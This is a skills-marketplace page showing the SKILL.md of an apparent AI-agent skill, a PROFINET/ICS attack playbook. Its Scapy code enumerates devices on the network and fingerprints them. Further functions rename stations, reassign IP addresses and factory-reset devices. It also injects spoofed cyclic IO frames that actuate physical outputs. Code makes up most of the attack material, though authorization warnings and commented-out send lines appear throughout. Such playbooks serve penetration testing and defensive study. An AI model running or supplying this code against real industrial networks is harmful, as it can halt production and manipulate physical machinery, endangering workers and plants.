Skip to main content

profinet

PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
30 de mayo de 2026 a las 11:42
Idioma detectado de SKILL.md
inglés
Estrellas
5611
Forks
1061

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
profinet
description
PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset","subdomain":"ics-ot","tags":"profinet, dcp, siemens, ics, ot, fieldbus","mitre_attack":"T0842, T0846, T0814, T0816"}
# PROFINET Attack Playbook (EtherType 0x8892 / DCP) PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. **The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it).** DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials. ## SAFETY FIRST DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to `BF` (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. **This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection.** DCP Identify (read) is safe. ## Prerequisites - Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN). - Wireshark with `pn_dcp` dissector (ships by default — filter: `pn_dcp`). - Python with `scapy` for DCP crafting (or `python-profinet` library). ```bash # Verify interface sees PROFINET frames sudo tcpdump -i eth0 ether proto 0x8892 -c 20 # If frames appear: you are on the OT segment # Install scapy (already on Kali) pip install scapy # python-profinet (alternative higher-level library) pip install profinet ``` ## Phase 1 — Discover: DCP Identify-All broadcast DCP Identify-All is a Layer-2 broadcast to `01:0E:CF:00:00:00` (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware. ### Wireshark passive discovery ```bash # Capture DCP traffic — Identify requests and responses sudo wireshark -i eth0 -f "ether proto 0x8892" -k # Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation) # Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1 ``` ### Active DCP Identify-All broadcast (Scapy) ```python from scapy.all import Ether, sendp, sniff import struct, socket, time PROFINET_ETHERTYPE = 0x8892 DCP_MULTICAST_MAC = "01:0e:cf:00:00:00" IFACE = "eth0" # replace with your OT interface def build_dcp_identify_all(xid=1): """Build a PROFINET DCP Identify-All request frame.""" # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify) frame_id = struct.pack(">H", 0xFEFE) # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength dcp_header = struct.pack(">BBHHHH", 0x05, # ServiceID: Identify 0x00, # ServiceType: Request xid, # XID 0x0000, # Reserved 0x0000, # ResponseDelay (0=immediate broadcast) 0x0004, # DCPDataLength (4 bytes for the suboption block) ) # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0 dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000) payload = frame_id + dcp_header + dcp_block frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload return frame def dcp_identify_all(iface=IFACE, timeout=3): frame = build_dcp_identify_all() sendp(frame, iface=iface, verbose=False) print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...") responses = sniff( iface=iface, filter=f"ether proto {hex(PROFINET_ETHERTYPE)}", timeout=timeout, count=200, ) devices = [] for pkt in responses: raw = bytes(pkt.payload) frame_id = struct.unpack(">H", raw[:2])[0] if frame_id == 0xFEFE and len(raw) > 10: # This is a DCP response — parse it src_mac = pkt.src # Extract NameOfStation from block (simple heuristic parse) # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable devices.append({"mac": src_mac, "raw_len": len(raw)}) print(f" Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details") return devices dcp_identify_all() ``` ### Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation) TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS. ## Phase 2 — Device fingerprinting: DCP Get DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor). ```python from scapy.all import Ether, sendp, sniff import struct PROFINET_ETHERTYPE = 0x8892 IFACE = "eth0" def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01): """ DCP Get Request for a specific block. option 0x01 suboption 0x01 = NameOfStation option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway) option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID) option 0x02 suboption 0x05 = DeviceOptions """ frame_id = struct.pack(">H", 0xFEFD) # 0xFEFD = DCP Get/Set dcp_header = struct.pack(">BBHHHH", 0x03, # ServiceID: Get 0x00, # ServiceType: Request xid, 0x0000, 0x0000, 0x0004, # DCPDataLength ) dcp_block = struct.pack(">BBH", option, suboption, 0x0000) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # Get station name from device with known MAC # frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01) # sendp(frame, iface=IFACE, verbose=False) # capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2) ``` ## Phase 3 — Flash-LED (physical device location) DCP Set with `Suboption=Signal` causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process. ```python def build_dcp_flash_led(dst_mac, xid=10): """DCP Set Signal — blink device LED (physical locate).""" frame_id = struct.pack(">H", 0xFEFD) # Block: Option=0x05 (Control), Suboption=0x03 (Signal) # BlockQualifier=0x0000, SignalValue=0x0100 (blink) dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100) dcp_data_len = len(dcp_block) dcp_header = struct.pack(">BBHHHH", 0x04, # ServiceID: Set 0x00, # ServiceType: Request xid, 0x0000, 0x0000, dcp_data_len, ) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE) ``` ## Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required) > **STOP. All DCP Set operations below are write-class and require explicit scope authorization.** > Station-name change and IP change immediately disrupt process communication. ### Station-name reassignment (process disruption) When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to `BF` (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack. ```python def build_dcp_set_station_name(dst_mac, new_name, xid=20): """ DCP Set NameOfStation. Option=0x01, Suboption=0x01 (NameOfStation). new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars) """ name_bytes = new_name.encode("ascii").lower() # Pad to even length if len(name_bytes) % 2: name_bytes += b"\x00" block_len = len(name_bytes) # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes total_len = len(dcp_block) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) frame_id = struct.pack(">H", 0xFEFD) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY: # sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE) # After this, the original controller can no longer find "original-station-name" # The device enters BF state and may stop responding to IO controller. ``` ### IP address reassignment ```python import ipaddress def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21): """ DCP Set IPSuite. Option=0x01, Suboption=0x02. """ ip_int = int(ipaddress.IPv4Address(new_ip)) sub_int = int(ipaddress.IPv4Address(new_subnet)) gw_int = int(ipaddress.IPv4Address(new_gateway)) dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \ struct.pack(">H", 0x0001) + \ struct.pack(">III", ip_int, sub_int, gw_int) total_len = len(dcp_block) frame_id = struct.pack(">H", 0xFEFD) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY: # sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE) ``` ### Factory reset Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production. ```python def build_dcp_factory_reset(dst_mac, xid=30): """ DCP Set Control/FactoryReset. Option=0x05, Suboption=0x04. """ dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000) total_len = len(dcp_block) frame_id = struct.pack(">H", 0xFEFD) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY — extremely disruptive: # sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE) ``` ## Phase 5 — PROFINET RT frame injection / cyclic IO spoofing PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames. ```bash # Capture baseline cyclic IO traffic for a device pair sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff # Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF # Identify FrameID, CycleCounter pattern, DataLen for the target device ``` ```python from scapy.all import Ether, sendp import struct, time def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"): """ Inject a PROFINET RT cyclic data frame. frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF) cycle_counter: Increment to match expected sequence (replay detection hint) io_data: bytes — the cyclic process data payload (output values for the IO-device) """ # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B) rt_header = struct.pack(">H", frame_id) rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00) # DataStatus 0x35 = valid + running + no problem payload = rt_header + io_data + rt_footer frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload sendp(frame, iface=iface, verbose=False) # Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY # io_data = b"\x00" * 4 # size must match actual IO module output size # inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data) ``` > Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data. ## Common findings | Finding | MITRE | Impact | |---|---|---| | DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names | | DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt | | DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime | | PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation | | Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN | | Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) | ## Evidence ```python kg_add_node( kind="finding", label="PROFINET DCP unauthenticated device enumeration", props={ "key": f"profinet-dcp::{iface}", "protocol": "profinet-dcp", "ethertype": "0x8892", "devices_found": device_count, "station_names": station_names_list, # list of discovered names "dcp_set_accepted": False, # set True only after confirmed write-scope test "source": "scapy-dcp-identify-all", "l2_segment": iface, }, ) ``` ## ZFP (two-method evidence) 1. Wireshark capture (`.pcap`) containing DCP Identify responses, showing at least one device with decoded `NameOfStation`, `IPSuite`, and `VendorID` blocks. 2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.
Ver en GitHub
Este SKILL.md es muy grande, por eso SkillsMP muestra aqui solo la primera seccion. Ver en GitHub